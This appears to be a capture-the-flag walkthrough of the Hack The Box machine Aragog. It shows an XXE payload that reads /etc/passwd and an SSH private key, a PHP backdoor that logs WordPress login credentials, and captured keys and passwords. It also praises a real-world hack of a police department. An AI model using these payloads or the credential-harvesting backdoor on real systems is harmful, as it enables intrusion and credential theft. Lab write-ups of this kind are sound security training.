Introduction

Enumeration

Initial Scanning

Like with every hack the box machine lets begin with an nmap scan against aragog (10.10.10.78)

# Nmap 7.70 scan initiated Sat May 12 19:49:54 2018 as: nmap -T4 -sC -A -n -v -p- -oA inital_scan 10.10.10.78 Increasing send delay for 10.10.10.78 from 0 to 5 due to 883 out of 2206 dropped probes since last increase. Nmap scan report for 10.10.10.78 Host is up (0.14s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-r--r--r-- 1 ftp ftp 86 Dec 21 16:30 test.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.83 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA) | 256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA) |_ 256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: OPTIONS GET HEAD POST |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=5/12%OT=21%CT=1%CU=40756%PV=Y%DS=2%DC=T%G=Y%TM=5AF7814 OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=A)OPS OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1 OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Uptime guess: 17.011 days (since Wed Apr 25 19:49:01 2018) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=264 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 53/tcp) HOP RTT ADDRESS 1 144.05 ms 10.10.14.1 2 144.26 ms 10.10.10.78 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 12 20:05:33 2018 -- 1 IP address (1 host up) scanned in 939.01 seconds

From our scan we can see that we have three services available for us to explore. FTP on port 21 which has anonymous login enabled, ssh on 22, and a webserver on port 80.

Enumerating FTP (test.txt)

Lets connect to the ftp server with the anonymous user.

root@dastinia:~/htb/aragog# ftp 10.10.10.78 Connected to 10.10.10.78. 220 (vsFTPd 3.0.3) Name (10.10.10.78:root): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt 226 Directory send OK.

We see there is a single file called test.txt

ftp> get test.txt local: test.txt remote: test.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for test.txt (86 bytes). 226 Transfer complete. 86 bytes received in 0.00 secs (53.2220 kB/s) ftp> quit 221 Goodbye.

Looking at the test.txt file we see some data related to a subnet_mask, which looks like it might be XML formatted data…

root@dastinia:~/htb/aragog# cat test.txt <details> <subnet_mask>255.255.255.192</subnet_mask> <test></test> </details>

Enumerating Port 80

Upon visiting the server on port 80 you are shown the default apache page.

Running gobuster against the site reveals that the page hosts. php` is available.

root@dastinia:~/htb/aragog# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.78 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_aragog Gobuster v1.2 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.78/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 204,301,302,307,403,200 [+] Extensions : .php,.html ===================================================== /index.html (Status: 200) /hosts.php (Status: 200)

Visiting hosts.php you see the following landing page…

The page states that: There are 4294967294 possible hosts for .

Looking backwards, let’s take a took at test.txt

test.txt states that our subnet mask is 255.255.255.192 , we attempt to do the calculation but realize that we can’t do subnet math in our head! Oh my, we should have paid more attention in intro to networking college! We quickly go back to school and rack up an additional 90,000 USD of student loan debt and we realize that 255.255.255.192 is a /26 which has a maximum of 62 usable hosts per network with 4 possible networks available which means (62 * 4 ) = 248 total possible hosts for the test.txt subnet.

With our near almost complete accredited university enducation education, we that 4294967294 does not equal 248 . With our new found knowledge we attempt to send a POST request with the data provided by test.txt in the body of the request.

We see the application react in the following manner….

Interesting, the application reacted just as expected. Let’s attempt a simple XXE injection since we know the application is parsing our input from the requests due to the change in response, and the data is likely XML formatted.

Our payload:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:////etc/issue" > ]> <details> <subnet_mask> &xxe; </subnet_mask> <test></test> </details>

Success.

Exploitation

Reading florian’s ssh private key

Since we are able to read files on system, we can potentially read sensitive files on the box. By reading the contents of /etc/passwd we know that florian and cliff are users on this box & their login shells are set to /bin/bash/

We attempt the user.txt file for both users, and you discover that’ florian’s user is the user we are going after.

We know that ssh is an available service on the box, so let see if florian has an ssh private key for his user.

xml payload

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" > ]> <details> <subnet_mask> &xxe; </subnet_mask> <test></test> </details>

Florian ssh_private key

-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA50DQtmOP78gLZkBjJ/JcC5gmsI21+tPH3wjvLAHaFMmf7j4d +YQEMbEg+yjj6/ybxJAsF8l2kUhfk56LdpmC3mf/sO4romp9ONkl9R4cu5OB5ef8 lAjOg67dxWIo77STqYZrWUVnQ4n8dKG4Tb/z67+gT0R9lD9c0PhZwRsFQj8aKFFn 1R1B8n9/e1PB0AJ81PPxCc3RpVJdwbq8BLZrVXKNsg+SBUdbBZc3rBC81Kle2CB+ Ix89HQ3deBCL3EpRXoYVQZ4EuCsDo7UlC8YSoEBgVx4IgQCWx34tXCme5cJa/UJd d4Lkst4w4sptYMHzzshmUDrkrDJDq6olL4FyKwIDAQABAoIBAAxwMwmsX0CRbPOK AQtUANlqzKHwbVpZa8W2UE74poc5tQ12b9xM2oDluxVnRKMbyjEPZB+/aU41K1bg TzYI2b4mr90PYm9w9N1K6Ly/auI38+Ouz6oSszDoBeuo9PS3rL2QilOZ5Qz/7gFD 9YrRCUij3PaGg46mvdJLmWBGmMjQS+ZJ7w1ouqsIANypMay2t45v2Ak+SDhl/SDb /oBJFfnOpXNtQfJZZknOGY3SlCWHTgMCyYJtjMCW2Sh2wxiQSBC8C3p1iKWgyaSV 0qH/3gt7RXd1F3vdvACeuMmjjjARd+LNfsaiu714meDiwif27Knqun4NQ+2x8JA1 sWmBdcECgYEA836Z4ocK0GM7akW09wC7PkvjAweILyq4izvYZg+88Rei0k411lTV Uahyd7ojN6McSd6foNeRjmqckrKOmCq2hVOXYIWCGxRIIj5WflyynPGhDdMCQtIH zCr9VrMFc7WCCD+C7nw2YzTrvYByns/Cv+uHRBLe3S4k0KNiUCWmuYsCgYEA8yFE rV5bD+XI/iOtlUrbKPRyuFVUtPLZ6UPuunLKG4wgsGsiVITYiRhEiHdBjHK8GmYE tkfFzslrt+cjbWNVcJuXeA6b8Pala7fDp8lBymi8KGnsWlkdQh/5Ew7KRcvWS5q3 HML6ac06Ur2V0ylt1hGh/A4r4YNKgejQ1CcO/eECgYEAk02wjKEDgsO1avoWmyL/ I5XHFMsWsOoYUGr44+17cSLKZo3X9fzGPCs6bIHX0k3DzFB4o1YmAVEvvXN13kpg ttG2DzdVWUpwxP6PVsx/ZYCr3PAdOw1SmEodjriogLJ6osDBVcMhJ+0Y/EBblwW7 HF3BLAZ6erXyoaFl1XShozcCgYBuS+JfEBYZkTHscP0XZD0mSDce/r8N07odw46y kM61To2p2wBY/WdKUnMMwaU/9PD2vN9YXhkTpXazmC0PO+gPzNYbRe1ilFIZGuWs 4XVyQK9TWjI6DoFidSTGi4ghv8Y4yDhX2PBHPS4/SPiGMh485gTpVvh7Ntd/NcI+ 7HU1oQKBgQCzVl/pMQDI2pKVBlM6egi70ab6+Bsg2U20fcgzc2Mfsl0Ib5T7PzQ3 daPxRgjh3CttZYdyuTK3wxv1n5FauSngLljrKYXb7xQfzMyO0C7bE5Rj8SBaXoqv uMQ76WKnl3DkzGREM4fUgoFnGp8fNEZl5ioXfxPiH/Xl5nStkQ0rTA== -----END RSA PRIVATE KEY-----

Lets see if we can login with the key

root@dastinia:~/htb/aragog# ssh -i florian_id_rsa florian@10.10.10.78 Last login: Sat Jul 21 05:52:00 2018 from 10.10.14.188 florian@aragog:~$ id uid=1000(florian) gid=1000(florian) groups=1000(florian)

Look’s like the login was successful. Let’s take a peak at hosts.php real quick

florian@aragog:/var/www/html$ cat hosts.php <?php libxml_disable_entity_loader ( false ); $xmlfile = file_get_contents ( 'php://input' ); $dom = new DOMDocument (); $dom -> loadXML ( $xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD ); $details = simplexml_import_dom ( $dom ); $mask = $details -> subnet_mask ; //echo "\r

You have provided subnet $mask\r

"; $max_bits = '32' ; $cidr = mask2cidr ( $mask ); $bits = $max_bits - $cidr ; $hosts = pow ( 2 , $bits ); echo " \r

There are " . ( $hosts - 2 ) . " possible hosts for $mask \r

\r

" ; function mask2cidr ( $mask ){ $long = ip2long ( $mask ); $base = ip2long ( '255.255.255.255' ); return 32 - log (( $long ^ $base ) + 1 , 2 ); } ?>

Privilege Escalation

Discovering dev_wiki wordpress site

Interesting we see additional content is being served up in our var/www/html directory.

florian@aragog:/var/www/html$ ls -la total 68 drwxrwxrwx 4 www-data www-data 4096 Jul 21 05:55 . drwxr-xr-x 3 root root 4096 Dec 18 2017 .. drwxrwxrwx 5 cliff cliff 4096 Jul 21 05:55 dev_wiki -rw-r--r-- 1 www-data www-data 689 Dec 21 2017 hosts.php -rw-r--r-- 1 www-data www-data 11321 Dec 18 2017 index.html -rw-r--r-- 1 florian florian 36650 Jul 21 05:55 wp-login.php drw-r--r-- 5 cliff cliff 4096 Dec 20 2017 zz_backup

Inspecting the contents of the dev_wiki directory, we see that it’s a WordPress blog. Additionally it seems that we have full control over the dev_wiki directory. Let see if we can visit the dev_wiki WordPress site in our browser.

But before we do that we need to add aragog as an entry in our /etc/hosts file first.

echo "10.10.10.78 aragog" >> /etc/hosts

Looking at the blog we see that there’s only one post. Stating that cliff will be logging in regularly.

Lets see what the username/password of the mysql database is…

florian@aragog:/var/www/html/dev_wiki$ cat wp-config.php <?php ... [ snip ] ... // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define ( 'DB_NAME' , 'wp_wiki' ); /** MySQL database username */ define ( 'DB_USER' , 'root' ); /** MySQL database password */ define ( 'DB_PASSWORD' , '$@y6CHJ^$#5c37j$#6h' ); /** MySQL hostname */ define ( 'DB_HOST' , 'localhost' );

Let’s have a look at the wordpress database & see if we can discover any WP user passwords we can crack.

florian@aragog:/var/www/html/dev_wiki$ mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 55 Server version: 5.7.20-0ubuntu0.16.04.1 (Ubuntu) Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>

mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | | wp_wiki | +--------------------+ 5 rows in set (0.03 sec) mysql> use wp_wiki; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +-----------------------+ | Tables_in_wp_wiki | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+ 12 rows in set (0.01 sec) mysql> select * from wp_users; +----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+ | 1 | Administrator | $P$B3FUuIdSDW0IaIc4vsjj.NzJDkiscu. | administrator | it@megacorp.com | | 2017-12-20 23:26:04 | | 0 | Administrator | +----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+ 1 row in set (0.01 sec) mysql>

We attempt to crack the hash with john the ripper & the rockyou wordlist but was unsuccessful so likely this is unrelated.

Performing process monitoring with pspy

While doing your enumeration you would notice that the dev_wiki directory was getting deleted constantly on every few minutes or so. To get a better idea of whats going on we can try to monitor the running processes on the box.

Hack the box Member 0b5cur17y created a fantastic tool called pspy. It’s very common for HTB machines to require to guess random crontab stuff or find parameters/process commandlines. If you view the original thread you will understand what I mean.

using pspy to discover wp-login.py

florian@aragog:/tmp/.ps$ wget -q http://10.10.15.207:7777/pspy64 florian@aragog:/tmp/.ps$ chmod +x pspy64 florian@aragog:/tmp/.ps$ ./pspy64

After some time we see that there is a cronjob that is constantly deleting the dev_wiki folder & replacing it with the backup folder… & a script wp-login.py is ran shortly after that process happens.

2018/07/21 06:35:01 CMD: UID=1001 PID=3870 | /bin/sh -c /usr/bin/python /home/cliff/wp-login.py 2018/07/21 06:35:01 CMD: UID=0 PID=3869 | /usr/sbin/CRON -f 2018/07/21 06:35:01 CMD: UID=1001 PID=3868 | /bin/sh -c /usr/bin/python /home/cliff/wp-login.py 2018/07/21 06:35:01 CMD: UID=0 PID=3867 | /usr/sbin/CRON -f 2018/07/21 06:35:01 CMD: UID=0 PID=3866 | /usr/sbin/CRON -f 2018/07/21 06:35:01 CMD: UID=0 PID=3872 | rm -rf /var/www/html/dev_wiki/ 2018/07/21 06:35:01 CMD: UID=0 PID=3871 | /bin/bash /root/restore.sh 2018/07/21 06:35:01 CMD: UID=0 PID=3873 | cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/ 2018/07/21 06:35:01 CMD: UID=1001 PID=3875 | 2018/07/21 06:35:01 CMD: UID=1001 PID=3874 | sh -c LC_ALL=C LANG=C /sbin/ldconfig -p 2>/dev/null 2018/07/21 06:35:01 CMD: UID=0 PID=3878 | chown -R cliff:cliff /var/www/html/dev_wiki/ 2018/07/21 06:35:01 CMD: UID=0 PID=3879 | chmod -R 777 /var/www/html/dev_wiki/

If you google wp-login.py and we find the following Github Gist of wp-login.py

Remember that blog post? “I’ll be logging in regularly”

Backdooring Wordpress to Log Requests & Getting Root

So there’s a few possible ways we can try to accomplish this. Backdoor wp-login.php to send a request to our server with the login details or have wordpress log the post requeset to a file. We can also modify the wp-includes\user.php login function hook to log the username & password to a file.

This part was a bit troubling since there were a few ways to accomplish this task, and depending on which path you took. I consulted with some other HTB members & a good chunk of them went the wp-login.php route which I felt like was much harder.

There’s a few good examples of how to “Backdoor Wordpress”, but I think the best example I’ve ever seen of backdooring a wordpress site was when phineas fisher hacked the catalan police department. It was very simple, clean, and pretty discrete. I honestly think this dude is a legend, and he recorded how he did it & posted it on the internet for people to learn. Some fantastic learning can be done from the video of the hack he did, I highly recommend watching it in full. (Also an obglitatory #hackback)

Video Phineas Fisher Hacks Catalan Police Department stop watching at: 30:01.

backdoor php code

file_put_contents("wp-includes/.m.php","WP :" . $_POST['log'] . " : " . $_POST['pwd'] . "

", FILE_APPEND);

We run some tests & we see that our backdoor works. After some time you see the cleartext login credentials for the administrator account in our log.

florian@aragog:/var/www/html/dev_wiki/wp-includes$ cat .m.php WP :tsst : test WP :Administrator : !KRgYs(JFO!&MTr)lf WP :medic : medic

getting root

florian@aragog:/var/www/html/dev_wiki/wp-includes$ su root Password: root@aragog:/var/www/html/dev_wiki/wp-includes# id uid=0(root) gid=0(root) groups=0(root) root@aragog:/var/www/html/dev_wiki/wp-includes# root@aragog:/var/www/html/dev_wiki/wp-includes# cat /root/root.txt 9a9da5.....

Lets take a peak at restore.sh & wp-login.py

restore.sh

root@aragog:~# cat restore.sh rm -rf /var/www/html/dev_wiki/ cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/ chown -R cliff:cliff /var/www/html/dev_wiki/ chmod -R 777 /var/www/html/dev_wiki/

wp-login.py

root @aragog : / home / cliff # cat wp-login.py import requests wp_login = 'http://127.0.0.1/dev_wiki/wp-login.php' wp_admin = 'http://127.0.0.1/dev_wiki/wp-admin/' username = 'Administrator' password = '!KRgYs(JFO!&MTr)lf' with requests . Session () as s : headers1 = { 'Cookie' : 'wordpress_test_cookie=WP Cookie check' } datas = { 'log' : username , 'pwd' : password , 'wp-submit' : 'Log In' , 'redirect_to' : wp_admin , 'testcookie' : '1' } s . post ( wp_login , headers = headers1 , data = datas ) resp = s . get ( wp_admin ) print ( resp . text )

That’s all for now folks.